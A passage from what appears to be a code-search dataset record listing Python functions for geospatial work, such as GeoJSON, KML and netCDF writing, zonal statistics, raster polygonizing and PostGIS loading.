None\r\n lat_max = None\r\n lon_min = None\r\n lon_max = None\r\n z_min = None\r\n z_max = None\r\n \r\n # Process each row in the lookup table\r\n for nc_index, nc_comid in enumerate(nc_comids):\r\n try:\r\n lookup_index = np.where(lookup_comids == nc_comid)[0][0] + 1\r\n except Exception:\r\n log('COMID %s misssing in comid_lat_lon_z file' % nc_comid,\r\n 'ERROR')\r\n \r\n lat = float(lookup_table[lookup_index][1])\r\n lats[nc_index] = lat\r\n if (lat_min) is None or lat < lat_min:\r\n lat_min = lat\r\n if (lat_max) is None or lat > lat_max:\r\n lat_max = lat\r\n \r\n lon = float(lookup_table[lookup_index][2])\r\n lons[nc_index] = lon\r\n if (lon_min) is None or lon < lon_min:\r\n lon_min = lon\r\n if (lon_max) is None or lon > lon_max:\r\n lon_max = lon\r\n \r\n z = float(lookup_table[lookup_index][3])\r\n zs[nc_index] = z\r\n if (z_min) is None or z < z_min:\r\n z_min = z\r\n if (z_max) is None or z > z_max:\r\n z_max = z\r\n \r\n # Overwrite netCDF variable values\r\n self.cf_nc.variables['lat'][:] = lats\r\n self.cf_nc.variables['lon'][:] = lons\r\n self.cf_nc.variables['z'][:] = zs\r\n \r\n # Update metadata\r\n if lat_min is not None:\r\n self.cf_nc.geospatial_lat_min = lat_min\r\n if lat_max is not None:\r\n self.cf_nc.geospatial_lat_max = lat_max\r\n if lon_min is not None:\r\n self.cf_nc.geospatial_lon_min = lon_min\r\n if lon_max is not None:\r\n self.cf_nc.geospatial_lon_max = lon_max\r\n if z_min is not None:\r\n self.cf_nc.geospatial_vertical_min = z_min\r\n if z_max is not None:\r\n self.cf_nc.geospatial_vertical_max = z_max\r\n else:\r\n log('No comid_lat_lon_z file. Not adding values ...', 'INFO')","def result_writer(result_poly):\n val = {}\n val[\"type\"] = \"FeatureCollection\"\n val[\"features\"] = result_poly\n with open(output_file_path, 'w') as outfile:\n json.dump(val, outfile, indent=3)\n outfile.close()","def add_data(self, in_data):\n old_data = {}\n for field in self.fields:\n # ToDo - might be a better way to determine the fieldname\n if field in in_data:\n if field in self.data:\n old_data = dict(self.data)\n self.data = {}\n\n self.data[field] = in_data[field]\n self.data['usUnits'] = in_data['usUnits']\n self.data['dateTime'] = in_data['dateTime']\n return old_data","def extract_geo_location_counter(file_path: str, geo_location_columns: list) -> str:\n cprint(f\"### Function Name:-> {inspect.stack()[0][3]} ###\", 'yellow', 'on_grey', attrs=['bold'])\n df = None\n try:\n data_file = Path(file_path)\n all_data = dict() # this will hold the geo col as key and duplicated values as value\n predictme_col_name = 'Model Name: ensemble: Donor Predicted Classification (>= Threshold Value)'\n cprint(data_file.name, 'magenta', attrs=['bold'])\n cprint(geo_location_columns, 'magenta', attrs=['bold'])\n print('')\n # check if the geo_location_columns is not None\n if geo_location_columns is not None:\n # check if the file exists\n if data_file.exists():\n df = pd.read_csv(data_file.as_posix(), sep=',', skipinitialspace=True)\n filtered = (df[predictme_col_name] == 1)\n new_filtered_df = df.loc[filtered]\n # geo_location_columns.append(predictme_col_name) # append the predictme column to dataframe columns\n geo_df = df.loc[filtered, geo_location_columns]\n\n for geo_col in geo_location_columns:\n duplicated_values = geo_df.pivot_table(columns=[geo_col], aggfunc='size')\n all_data[geo_col] = duplicated_values.to_dict()\n cpprint(all_data)\n else:\n # file not exists\n raise FileNotFoundError(\"Model output file not found!\")\n except Exception as ex:\n cprint(traceback.format_exc(), 'red')\n log_exception(traceback.format_exc())\n return None\n else:\n # for try block\n if geo_location_columns is not None:\n return all_data\n else:\n return None","def polygons_kml(df, file_name, wkt_column=None, name_column=None, description_columns='all', exclude_columns=None, altitude=100, \\\n color=simplekml.Color.red, alpha=200, color_mode=simplekml.ColorMode.normal):\n file_name = _process_file_name(file_name)\n description_columns = _process_description_columns(df, wkt_column, name_column, description_columns, exclude_columns)\n kml = simplekml.Kml()\n sharedstyle = simplekml.Style()\n sharedstyle = _process_color('Polygon', sharedstyle, color_mode, color, alpha)\n for index, row in df.iterrows():\n shape = wkt.loads(row[wkt_column]) if wkt_column else wkt.loads(row[-1])\n name = str(row[name_column]) if name_column else str(index)\n description = _process_description(row, description_columns)\n logging.debug(f'shape_type: {shape.type}')\n if shape.type == 'Polygon':\n outer_boundary, inner_boundary = _process_boundaries(dump_coords(shape), altitude)\n pol = kml.newpolygon(\n name=name,\n description=description,\n outerboundaryis=outer_boundary,\n innerboundaryis=inner_boundary,\n altitudemode=simplekml.AltitudeMode.relativetoground\n )\n pol.extrude = 1\n pol.style = sharedstyle\n elif shape.type == 'MultiPolygon':\n multipol = kml.newmultigeometry(\n name=name,\n description=description\n )\n for coords_list in dump_coords(shape):\n outer_boundary, inner_boundary = _process_boundaries(coords_list, altitude)\n pol = multipol.newpolygon(\n outerboundaryis=outer_boundary,\n innerboundaryis=inner_boundary,\n altitudemode = simplekml.AltitudeMode.relativetoground\n )\n pol.extrude = 1\n multipol.style = sharedstyle\n else:\n print(f'{name} has bad geometry')\n kml.save(file_name)","def zonal_stats(src_poly, src_raster, operator=['mean'], features=None):\n assert src_raster.geo_transform is not None, \"src_raster.geo_transform should not be None\"\n assert isinstance(operator, list), \"operator should be a list of string. ex: ['mean']\"\n features = list(range(src_raster.bands)) if features is None else features\n assert len(features) == src_raster.bands, \"length of features should equals number of bands of the raster\"\n df_shp = src_poly.copy()\n df_shp['poly_idx'] = list(range(len(df_shp)))\n df_shp['poly_idx'] = df_shp['poly_idx'].astype('float')\n poly_rst = tgp.ShapeGrid.rasterize_layer(df_shp, src_raster.rows, src_raster.cols, src_raster.geo_transform, 'poly_idx', all_touched=True, no_data_value=np.nan)\n X_combine = np.concatenate([poly_rst.data, src_raster.data], axis=-1)\n X_combine_df = pd.DataFrame(X_combine.reshape(-1, src_raster.bands))\n X_groupby = X_combine_df.groupby(0, as_index=False)\n for op in operator:\n columns = {0:'poly_idx'}\n for f_idx, f in enumerate(features):\n columns[f_idx+1] = f'zonal_{op}_{f}'\n if op == 'mean':\n df_shp = df_shp.merge(X_groupby.mean().rename(columns=columns), on='poly_idx', how='left')\n elif op == 'max':\n df_shp = df_shp.merge(X_groupby.max().rename(columns=columns), on='poly_idx', how='left')\n elif op == 'min':\n df_shp = df_shp.merge(X_groupby.min().rename(columns=columns), on='poly_idx', how='left')\n elif op == 'median':\n df_shp = df_shp.merge(X_groupby.median().rename(columns=columns), on='poly_idx', how='left')\n elif op == 'sum':\n df_shp = df_shp.merge(X_groupby.sum().rename(columns=columns), on='poly_idx', how='left')\n elif op == 'std':\n df_shp = df_shp.merge(X_groupby.std().rename(columns=columns), on='poly_idx', how='left')\n elif op == 'count':\n df_shp = df_shp.merge(X_groupby.count().rename(columns=columns), on='poly_idx', how='left')\n else:\n assert False, \"no this operator\"\n return df_shp","def raster2polygon(file_name, out_shp_fn, band_number=1, field_name=\"values\"):\n logging.info(\" * Polygonizing %s ...\" % str(file_name))\n # ensure that the input raster contains integer values only and open the input raster\n file_name = float2int(file_name)\n raster, raster_band = open_raster(file_name, band_number=band_number)\n\n # create new shapefile with the create_shp function\n new_shp = create_shp(out_shp_fn, layer_name=\"raster_data\", layer_type=\"polygon\")\n dst_layer = new_shp.GetLayer()\n\n # create new field to define values\n new_field = ogr.FieldDefn(field_name, ogr.OFTInteger)\n dst_layer.CreateField(new_field)\n\n # Polygonize(band, hMaskBand[optional]=None, destination lyr, field ID, papszOptions=[], callback=None)\n gdal.Polygonize(raster_band, None, dst_layer, 0, [], callback=None)\n\n # create projection file\n srs = get_srs(raster)\n make_prj(out_shp_fn, int(srs.GetAuthorityCode(None)))\n logging.info(\" * success (Polygonize): wrote %s\" % str(out_shp_fn))\n return new_shp","def add_datamap(self, ctx, datamap):\n zing_state = self._get_zing_tx_state()\n zing_state.datamaps.append((ctx.device(), datamap))","def create_payload_index(self, collection_name: str, field_name: str):\n return self.openapi_client.points_api.update_points(\n name=collection_name,\n wait='true',\n collection_update_operations=FieldIndexOperationsAnyOf(create_index=field_name),\n )","def get_geo_tweets(filename):\n\n with open(filename) as f:\n geo_data = {\n \"type\": \"FeatureCollection\",\n \"features\": []\n }\n for line in f:\n tweet = json.loads(line)\n if tweet['coordinates']:\n geo_json_feature = {\n \"type\": \"Feature\",\n \"geometry\": tweet['coordinates'],\n \"properties\": {\n \"text\": tweet['text'],\n \"created_at\": tweet['created_at']\n }\n }\n geo_data['features'].append(geo_json_feature)\n\n return geo_data","def get_mapnik_ds(self,**kwargs):\n if not self.geometry_field:\n raise ValueError('Geometry field not found')\n\n import itertools\n ids = itertools.count(0)\n assert hasattr(mapnik,'MemoryDatasource'), \"mapnik.MemoryDatasource requires >= mapnik 2.1\"\n ds = mapnik.MemoryDatasource()\n # todo - how to get subset of columns requested from the queryset?\n field_names = self.qs.query.get_meta().get_all_field_names()\n field_names.remove(self.geometry_field.name)\n if hasattr(mapnik,'Context'):\n context = mapnik.Context()\n for fld in field_names:\n context.push(fld)\n for i in self.qs.iterator():\n feature = None\n if hasattr(mapnik,'Context'):\n feature = mapnik.Feature(context,ids.next())\n else:\n feature = mapnik.Feature(ids.next())\n feature.add_geometries_from_wkb(str(getattr(i,self.geometry_field.name).wkb))\n for fld in field_names:\n feature[fld] = getattr(i,fld)\n ds.add_feature(feature)\n return ds","def ip_to_geojson(ipaddress, name=\"Point\"):\n\n geo = ip_to_geo(ipaddress)\n\n point = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"properties\": {\n \"name\": name\n },\n \"geometry\": {\n \"type\": \"Point\",\n \"coordinates\": [\n geo[\"longitude\"],\n geo[\"latitude\"]\n ]\n }\n }\n ]\n }\n\n return point","def write_field(self, filename, field,griddescfile=None,fieldname=None):\n\n nlat,nlong = field.get_grid().get_grid_dimensions()\n if fieldname is None:\n fieldname = 'field_value'\n print(\"Writing output to {0}\".format(filename))\n if griddescfile is not None:\n output_filename=filename\n filename=path.splitext(filename)[0] + '_temp' + path.splitext(filename)[1]\n data_was_bool = False\n with netCDF4.Dataset(filename,mode='w',format='NETCDF4') as dataset:\n dataset.createDimension(\"latitude\",nlat)\n dataset.createDimension(\"longitude\",nlong)\n if field.get_data().dtype == np.bool_:\n field.set_data(field.get_data().astype(np.int32))\n data_was_bool=True\n field_values = dataset.createVariable(fieldname,field.get_data().dtype,\n ('latitude','longitude'))\n field_values[:,:] = field.get_data()\n if data_was_bool:\n field.set_data(field.get_data().astype(np.bool_))\n if griddescfile is not None:\n cdo_instance = cdo.Cdo()\n cdo_instance.setgrid(griddescfile,input=filename,output=output_filename)\n os.remove(filename)","def addPHdata(flight_data):\n\n global flight_data_log\n\n flight_data_log[flight_data['timestamp']] = flight_data"],"string":"[\n \"def geojson2postgis(self, filepath, table_name, geo_type):\\n map_data = gpd.GeoDataFrame.from_file(filepath)\\n # Maybe you want to change link address\\n link = \\\"postgresql://{0}:{1}@{3}:5432/{2}\\\".format(self.username, self.password, self.dbname, self.host)\\n engine = create_engine(link, encoding='utf-8')\\n map_data = self.dict_to_json(map_data)\\n map_data['geometry'] = map_data['geometry'].apply(lambda x: WKTElement(x.wkt, 4326))\\n # Maybe you want to change 'replace' to 'append' in the future\\n map_data.to_sql(\\n name=table_name,\\n con=engine,\\n if_exists='replace',\\n dtype={'geometry': Geometry(geometry_type=geo_type, srid=4326)}\\n )\",\n \"def _parse_and_store_geojson(filename):\\n ds = DataSource(filename)\\n _sanity_check_datasource(ds)\\n\\n logger.info('Data file %s was opened', ds.name)\\n lm = LayerMapping(WegStuk, ds, MAPPING)\\n\\n with transaction.atomic():\\n WegStuk.objects.all().delete()\\n lm.save(strict=True, verbose=False)\\n\\n logger.info('Travel time dataset was updated.')\",\n \"def add_geo_shape(self, field, point, distance):\\n from haystack.utils.geo import ensure_point, ensure_distance\\n self.geo_shape = {\\n 'field': field,\\n 'point': ensure_point(point),\\n 'distance': ensure_distance(distance),\\n }\",\n \"def array2D_to_geoJson(geoJsonFileName, array2d,\\n layerName=\\\"BuildingID\\\",fieldName=\\\"BuildingID\\\"):\\n \\n memdrv = gdal.GetDriverByName('MEM')\\n src_ds = memdrv.Create('', array2d.shape[1], array2d.shape[0], 1)\\n band = src_ds.GetRasterBand(1)\\n band.WriteArray(array2d)\\n\\n drv = ogr.GetDriverByName(\\\"geojson\\\")\\n dst_ds = drv.CreateDataSource(geoJsonFileName)\\n dst_layer = dst_ds.CreateLayer(layerName, srs=None)\\n\\n fd = ogr.FieldDefn(fieldName, ogr.OFTInteger)\\n dst_layer.CreateField(fd)\\n dst_field = 0\\n\\n gdal.Polygonize(band, None, dst_layer, dst_field, [], callback=None)\\n \\n return True\",\n \"def to_geojson(self, filename, varname='data'):\\n\\n geojsondata = {\\n \\\"type\\\": \\\"FeatureCollection\\\",\\n \\\"features\\\": [\\n {\\n \\\"type\\\": \\\"Feature\\\",\\n \\\"geometry\\\": {\\n \\\"type\\\": \\\"Point\\\",\\n \\\"coordinates\\\": [lon, lat],\\n },\\n \\\"properties\\\": {\\\"field\\\": field, \\\"weight\\\": weight},\\n } for lon, lat, field, weight in zip(self.x, self.y, self.field, self.weight)]\\n }\\n\\n try:\\n with open(os.path.join(filename), 'w') as f:\\n f.write(\\\"\\\".join((\\\"var \\\", varname, \\\" = \\\")))\\n out = json.dumps(geojsondata, indent=2, separators=(',', ': '))\\n f.write(out)\\n\\n except FileNotFoundError:\\n logger.error(\\\"Directory {} does not exist\\\".format(os.path.basename(filename)))\\n raise FileNotFoundError('Directory does not exist')\",\n \"def save_to_geojson(self, topology_map, filename):\",\n \"def populateNewFields(nadPoints):\\n with arcpy.da.UpdateCursor(nadPoints,\\n ['SHAPE@X', 'SHAPE@Y', 'longitude', 'latitude', 'Source'],\\n spatial_reference=arcpy.SpatialReference(4326)) as cursor:\\n for row in cursor:\\n row[2] = row[0]\\n row[3] = row[1]\\n row[4] = 'Utah AGRC'\\n cursor.updateRow(row)\",\n \"def emptyGeoJson( filename):\\r\\n\\r\\n filename = dataDir + filename\\r\\n with open(filename) as data_file:\\r\\n gjdata = json.load(data_file)\\r\\n\\r\\n gjdata['features'] = []\\r\\n\\r\\n with open(filename, \\\"w\\\") as outfile:\\r\\n json.dump(gjdata, outfile)\",\n \"def geo_split(file_geo1):\\n with open(file_geo1, 'r') as inp, open(new_geo_out, 'w') as outp:\\n json_decode = json.load(inp)\\n result = []\\n for loca in json_decode:\\n lat_lon = loca['geo'].split(\\\",\\\")\\n result.append({\\n \\\"ipv4\\\": loca[\\\"ipv4\\\"],\\n \\\"lat\\\": lat_lon[0],\\n \\\"lon\\\": lat_lon[1]\\n })\\n data = json.dumps(result)\\n outp.write(data)\\n with open(new_geo_out, 'r') as f:\\n geosplit = json.load(f)\\n return geosplit\",\n \"def newColumn (layer,FieldName,DataType):\\n # Check if field already exists\\n if layer.fields().indexFromName(FieldName)==-1:\\n caps = layer.dataProvider().capabilities()\\n if caps & QgsVectorDataProvider.AddAttributes:\\n res = layer.dataProvider().addAttributes([QgsField(FieldName,DataType)])\\n print(\\\"New field \\\\\\\"{}\\\\\\\" added\\\".format(FieldName))\\n # Update to propagate the changes\\n layer.updateFields()\\n else:\\n print(\\\"Field \\\\\\\"{}\\\\\\\" already exists.\\\".format(FieldName))\",\n \"def createEmptyMapData():\\n with open('data/taxzone.json', 'r') as f:\\n taxzones = json.load(f)\\n\\n polygons_shape = [shape(feature['geometry']) for feature in taxzones['features']]\\n names = [feature['properties']['id'] for feature in taxzones['features']]\\n map_data = pd.DataFrame({'poly': polygons_shape, 'id': names})\\n\\n return map_data\",\n \"def writeGeoJson(self, file):\\n with open(file, 'w') as f:\\n json.dump(self._geojson, f)\",\n \"def to_geojson(self, filename, varname='results', levels=None):\\n\\n llon, llat = np.meshgrid(self.x, self.y)\\n contoursfield = cntr.Cntr(llon, llat, self.analysis)\\n if levels is None:\\n # By default we represent 10 levels from min to max\\n levels = np.linspace(self.analysis.min(), self.analysis.max(), 10)\\n\\n geojsonfield = {\\n \\\"type\\\": \\\"FeatureCollection\\\",\\n \\\"features\\\": [\\n {\\n \\\"type\\\": \\\"Feature\\\",\\n \\\"geometry\\\": {\\n \\\"type\\\": \\\"MultiPolygon\\\",\\n \\\"coordinates\\\": [[[[lon, lat] for lon, lat in seg] for seg in\\n contoursfield.trace(level)[:len(contoursfield.trace(level)) // 2]]],\\n },\\n \\\"properties\\\": {\\\"field\\\": str(level)},\\n } for level in levels]\\n }\\n\\n try:\\n with open(os.path.join(filename), 'w') as f:\\n f.write(\\\"\\\".join((\\\"var \\\", varname, \\\" = \\\")))\\n out = json.dumps(geojsonfield, indent=2, separators=(',', ': '))\\n f.write(out)\\n\\n except FileNotFoundError:\\n logger.error(\\\"Directory {} does not exist\\\".format(os.path.basename(filename)))\\n raise FileNotFoundError('Directory does not exist')\",\n \"def add_geojson(map, geojson, style_function, name='states' ):\\n\\n folium.GeoJson(\\n geojson,\\n name=name,\\n style_function=style_function\\n ).add_to(map)\",\n \"def map_csv_fields(self):\\n etod_csv_fields = {\\n 'ctry_id': None,\\n 'obst_identifier': None,\\n 'obst_name': None,\\n 'lon_src': None,\\n 'lat_src': None,\\n 'agl': None,\\n 'amsl': None,\\n 'vert_uom': None,\\n 'hor_acc': None,\\n 'hor_acc_uom': None,\\n 'vert_acc': None,\\n 'vert_acc_uom': None,\\n 'obst_type': None,\\n 'lighting': None,\\n 'marking': None,\\n 'is_group': None,\\n }\\n\\n for field in etod_csv_fields:\\n try:\\n etod_csv_fields[field] = etod_map[self.ctry_short_name]['fields'][field]\\n except KeyError:\\n etod_csv_fields[field] = None\\n\\n self.field_map = etod_csv_fields\",\n \"def prepare(dp: frictionless.package.Package, name: str):\\n data = read_datapackage(dp)\\n data[\\\"fid\\\"] = name + \\\"_\\\" + data[ID].astype(str)\\n\\n spatial = gpd.GeoDataFrame(\\n data[\\\"fid\\\"],\\n columns=[\\\"fid\\\"],\\n geometry=gpd.points_from_xy(data.longitude, data.latitude),\\n crs=\\\"EPSG:4326\\\",\\n )\\n\\n # Other fields to json\\n def np_encoder(object):\\n \\\"\\\"\\\"Source: https://stackoverflow.com/a/65151218.\\\"\\\"\\\"\\n if isinstance(object, np.generic):\\n return object.item()\\n\\n other_cols = [\\n x for x in data.columns if x not in VALUE_VARS + SPATIAL_VARS + ID_VARS\\n ]\\n\\n # Int64 to int\\n data.loc[:, other_cols].loc[:, data[other_cols].dtypes == \\\"int64\\\"] = (\\n data.loc[:, other_cols].loc[:, data[other_cols].dtypes == \\\"int64\\\"].astype(int)\\n )\\n data = data.replace({np.nan: None})\\n data[\\\"fields\\\"] = data[other_cols].to_dict(orient=\\\"records\\\")\\n data[\\\"fields\\\"] = data[\\\"fields\\\"].apply(lambda x: json.dumps(x, default=np_encoder))\\n\\n # Unpivoting\\n data = data.melt(id_vars=ID_VARS, value_vars=VALUE_VARS)\\n\\n # Remove nan\\n data = data.dropna()\\n\\n # Conversion\\n enermaps_data = utilities.ENERMAPS_DF\\n enermaps_data[\\\"fid\\\"] = data[\\\"fid\\\"]\\n enermaps_data[\\\"value\\\"] = data[\\\"value\\\"]\\n enermaps_data[\\\"variable\\\"] = data[\\\"variable\\\"]\\n enermaps_data[\\\"fields\\\"] = data[\\\"fields\\\"]\\n enermaps_data[\\\"unit\\\"] = UNIT\\n enermaps_data[\\\"israster\\\"] = ISRASTER\\n\\n return enermaps_data, spatial\",\n \"def _fast_append_profile_in_gdf(geodataframe, raster_path, force_crs_match=True):\\n\\n _check_presence_of_crs(geodataframe)\\n if force_crs_match:\\n with rio.open(raster_path) as raster:\\n geodataframe = geodataframe.to_crs(crs=raster.crs.data)\\n else:\\n warnings.warn(\\n \\\"The GeoDataFrame is not being reprojected. The clipping might be being performing on unmatching polygon to the raster.\\\"\\n )\\n\\n zonal_gjson = rs.zonal_stats(\\n geodataframe, raster_path, prefix=\\\"Type_\\\", geojson_out=True, categorical=True\\n )\\n\\n zonal_ppt_gdf = gpd.GeoDataFrame.from_features(zonal_gjson)\\n\\n return zonal_ppt_gdf\",\n \"def __geo_interface__(self):\\r\\n if HASARCPY:\\r\\n template = {\\r\\n \\\"type\\\": \\\"FeatureCollection\\\",\\r\\n \\\"features\\\": []\\r\\n }\\r\\n geom_type = self.geometry_type\\r\\n if geom_type.lower() == \\\"point\\\":\\r\\n geom_type = \\\"Point\\\"\\r\\n elif geom_type.lower() == \\\"polyline\\\":\\r\\n geom_type = \\\"LineString\\\"\\r\\n elif geom_type.lower() == \\\"polygon\\\":\\r\\n geom_type = \\\"Polygon\\\"\\r\\n df_copy = self.copy(deep=True)\\r\\n df_copy['geom_json'] = self.geometry.JSON\\r\\n df_copy['SHAPE'] = df_copy['geom_json']\\r\\n del df_copy['geom_json']\\r\\n for index, row in df_copy.iterrows():\\r\\n geom = row['SHAPE']\\r\\n del row['SHAPE']\\r\\n template['features'].append(\\r\\n {\\\"type\\\" : geom_type,\\r\\n \\\"geometry\\\" : pd.io.json.loads(geom),\\r\\n \\\"attributes\\\":row}\\r\\n )\\r\\n return pd.io.json.dumps(template)\",\n \"def _add_field_feature_dtype(self, field_path, field_feature_dtype):\\n feature_dtype_str = json.dumps(field_feature_dtype.descr)\\n dtypes_grp = self._h5['{}/{}'.format(SETTINGS, FIELD_FEATURE_DTYPES_STR)]\\n dtypes_grp.create_dataset(field_path, data=feature_dtype_str)\",\n \"def make_map(filename, datadir):\\n items = json.load(open(filename))\\n geojson_items = []\\n for item in items:\\n geojson_items.append(get_linestring(item))\\n with open(os.path.join(datadir, 'waze.geojson'), 'w') as outfile:\\n geojson.dump(geojson.FeatureCollection(geojson_items), outfile)\",\n \"def writeCountryCodeFile(self):\\n try:\\n geojson = requests.get(self.GEOJSON_URL).json()\\n except:\\n sys.exit('GeoJSON data unavailable at source.')\\n \\n country_mapping = {}\\n for country in geojson['features']:\\n iso_2 = country['properties']['ISO_A2']\\n country_name = country['properties']['ADMIN']\\n country_mapping.update({country_name: iso_2})\\n \\n with open('countryNameISO2.json', 'w') as file:\\n json.dump(country_mapping, file)\",\n \"def write_geojson(vec:gpd.GeoDataFrame, dest):\\n\\t\\tdest = str(dest)\\n\\n\\t\\t# WGS 84\\n\\t\\t#vec = vec.to_crs({'init': 'epsg:4326'})\\n\\n\\t\\tif os.path.isfile(dest):\\n\\t\\t\\tos.remove(dest)\\n\\t\\t\\t\\n\\t\\tvec.to_file(dest, driver='GeoJSON', encoding='utf-8')\",\n \"def load_from_geojson(self, filename_or_url):\",\n \"def get_geojson(self, sql, context):\\n result = self.db.query(sql).getresult()\\n geo_objects = []\\n\\n for poly in result:\\n poly = poly[0]\\n geo_objects.append(geojson.Feature(geometry=geojson.loads(poly)))\\n\\n crs = {\\n \\\"type\\\": \\\"name\\\",\\n \\\"properties\\\": {\\n \\\"name\\\": \\\"EPSG:\\\" + str(context[\\\"crs\\\"])\\n }\\n }\\n collection = geojson.FeatureCollection(geo_objects, crs=crs)\\n\\n return {\\n 'type': 'result',\\n 'result': geojson.dumps(collection)\\n }\",\n \"def addproperties_json(source, mortspd):\\n with open(source, encoding=\\\"utf-8\\\",mode=\\\"r\\\") as f: # load boundaries\\n boundaries = json.load(f)\\n \\n\\n for regionBoundary in boundaries['features']: # get nb murdered by region\\n del regionBoundary['properties']['admin1Pcod']\\n del regionBoundary['properties']['admin1RefN']\\n \\n regionBoundary['properties']['Departement'] = regionBoundary['properties']['admin1Name']\\n \\n currentRegion = regionBoundary['properties']['Departement']\\n if currentRegion in mortspd:\\n regionBoundary['properties']['Morts'] = mortspd[currentRegion]\\n \\n else: \\n regionBoundary['properties']['Morts'] = 0 \\n continue\\n return boundaries\",\n \"def create_map(data_file):\\n\\n\\t# Define a type of GeoJSON\\n\\tgeo_map = {\\\"type\\\": \\\"FeatureCollection\\\"}\\n\\t# Define list to collect each point to graph\\n\\titem_list = []\\n\\n\\t# Iterate over our data to create GeoJSON doc\\n\\tfor index, line in enumerate(data_file):\\n\\t\\t# Skip any zero coordinates\\n\\t\\tif line['X'] == '0' or line['Y'] == '0':\\n\\t\\t\\tcontinue\\n\\t\\t# New dict for every iteration\\n\\t\\tdata = {}\\n\\t\\t# Assign line items to json fields\\n\\t\\tdata['type'] = 'Feature'\\n\\t\\tdata['id'] = index\\n\\t\\tdata['properties'] = {'title': line['Category'],\\n\\t\\t 'description': line['Descript'],\\n\\t\\t 'date': line['Date']}\\n\\t\\tdata['geometry'] = {'type': 'Point',\\n\\t\\t 'coordinates': (line['X'], line['Y'])}\\n\\t\\t# Add data dict to our itemlist\\n\\t\\titem_list.append(data)\\n\\n\\t# for each point in our item list we add a point to dict\\n\\tfor point in item_list:\\n\\t\\tgeo_map.setdefault('features', []).append(point)\\n\\t# write a file, upload to gist.github.com\\n\\twith open('file_sf.geojson', 'w') as f:\\n\\t\\tf.write(geojson.dumps(geo_map))\",\n \"def data_geojson(self):\\n coordinates = self.value\\n if not coordinates:\\n return\\n\\n title = getattr(self.context, 'title', '') or ''\\n description = getattr(self.context, 'description', '') or ''\\n\\n geo_json = {\\n 'type': 'FeatureCollection',\\n 'features': [\\n {\\n 'type': 'Feature',\\n 'properties': {\\n 'popup': u'<h3>{0}</h3><p>{1}</p>'.format(\\n safe_unicode(title),\\n safe_unicode(description)\\n )\\n },\\n 'geometry': {\\n 'type': 'Point',\\n 'coordinates': [\\n coordinates[1], # lng\\n coordinates[0] # lat\\n ]\\n }\\n },\\n ]\\n }\\n\\n if self.mode == 'input':\\n properties = geo_json['features'][0]['properties']\\n properties['editable'] = True\\n properties['no_delete'] = True\\n properties['latinput'] = u'#{0}'.format(self.id_input_lat)\\n properties['lnginput'] = u'#{0}'.format(self.id_input_lng)\\n\\n return json.dumps(geo_json)\",\n \"def add_property(path, key, value):\\n with open(path) as fp:\\n features = geojson.loads(fp.read())\\n\\n for feature in features.features:\\n feature.properties[key] = value\\n\\n with open(path, 'w') as fp:\\n fp.write(geojson.dumps(features))\",\n \"def test_write_json_object_properties():\\n data = \\\"\\\"\\\"\\n{\\n \\\"type\\\": \\\"FeatureCollection\\\",\\n \\\"features\\\": [\\n {\\n \\\"geometry\\\": {\\n \\\"type\\\": \\\"Polygon\\\",\\n \\\"coordinates\\\": [\\n [\\n [\\n 87.33588,\\n 43.53139\\n ],\\n [\\n 87.33588,\\n 45.66894\\n ],\\n [\\n 90.27542,\\n 45.66894\\n ],\\n [\\n 90.27542,\\n 43.53139\\n ],\\n [\\n 87.33588,\\n 43.53139\\n ]\\n ]\\n ]\\n },\\n \\\"type\\\": \\\"Feature\\\",\\n \\\"properties\\\": {\\n \\\"upperLeftCoordinate\\\": {\\n \\\"latitude\\\": 45.66894,\\n \\\"longitude\\\": 87.91166\\n },\\n \\\"tricky\\\": \\\"{gotcha\\\"\\n }\\n }\\n ]\\n}\\n\\\"\\\"\\\"\\n data = Feature.from_dict(**json.loads(data)[\\\"features\\\"][0])\\n tmpdir = tempfile.mkdtemp()\\n filename = os.path.join(tmpdir, \\\"test.json\\\")\\n with fiona.open(\\n filename,\\n \\\"w\\\",\\n driver=\\\"GeoJSON\\\",\\n schema={\\n \\\"geometry\\\": \\\"Polygon\\\",\\n \\\"properties\\\": {\\\"upperLeftCoordinate\\\": \\\"str\\\", \\\"tricky\\\": \\\"str\\\"},\\n },\\n ) as dst:\\n dst.write(data)\\n\\n with fiona.open(filename) as src:\\n ftr = next(iter(src))\\n props = ftr[\\\"properties\\\"]\\n assert props[\\\"upperLeftCoordinate\\\"][\\\"latitude\\\"] == 45.66894\\n assert props[\\\"upperLeftCoordinate\\\"][\\\"longitude\\\"] == 87.91166\\n assert props[\\\"tricky\\\"] == \\\"{gotcha\\\"\",\n \"def geojson_zillow_fc(rows):\\n feature_collection = []\\n for row in rows:\\n if row[2] == \\\"Boston\\\":\\n f = Feature(geometry=Polygon(\\\\\\n [parse_zillow_coordinates(row[6])]),\\n id = row[4],\\n properties={\\\"state\\\": str(row[0]),\\n \\\"county\\\": str(row[1]),\\n \\\"city\\\": str(row[2]),\\n \\\"neighborhood\\\": \\\\\\n str(row[3]),\\n \\\"regionid\\\": str(row[4]),\\n \\\"total_potins\\\": \\\\\\n str(row[5]),\\n \\\"mean_interior_score\\\": \\\\\\n row[7],\\n \\\"sd_interior_score\\\":\\\\\\n row[8],\\n \\\"max_int_score\\\":\\\\\\n row[9],\\n \\\"min_int_score\\\":\\\\\\n row[10],\\n \\\"region_property_count\\\":\\\\\\n row[11],\\n \\\"projectedfor2018\\\":\\\\\\n row[17],\\n })\\n feature_collection.append(f)\\n\\n else:\\n print(\\\"City: {}\\\".format(row[2]))\\n\\n fc = FeatureCollection(feature_collection)\\n return fc\",\n \"def _initialize_geospatial_data(self):\\n driver = ogr.GetDriverByName(\\\"ESRI Shapefile\\\")\\n\\n bnd_src = driver.Open(self._spatial_filename, 0)\\n bnd_lyr = bnd_src.GetLayer()\\n (self.spatial_index,\\n self.spatial_feats,\\n self.bison_spatial_fields\\n ) = self._create_spatial_index(bnd_lyr)\",\n \"def make_features(self, gdb, fc_name, fields, rows):\\n point_geotoken = \\\"SHAPE@XY\\\"\\n other_geotoken = \\\"SHAPE@\\\"\\n now = GeoJSONUtils.timestamp()\\n stats = []\\n\\n if len(rows[0]) > 0:\\n point_rows = rows[0]\\n point_fc_name = fc_name + now + '_p'\\n point_fc = GeoJSONUtils.make_fc(self, gdb, point_fc_name, fields, point_rows, \\\"POINT\\\", point_geotoken)\\n stats.append(point_fc)\\n if len(rows[1]) > 0:\\n line_rows = rows[1]\\n line_fc_name = fc_name + now + '_l'\\n line_fc = GeoJSONUtils.make_fc(self, gdb, line_fc_name, fields, line_rows, \\\"POLYLINE\\\", other_geotoken)\\n stats.append(line_fc)\\n if len(rows[2]) > 0:\\n poly_rows = rows[2]\\n poly_fc_name = fc_name + now 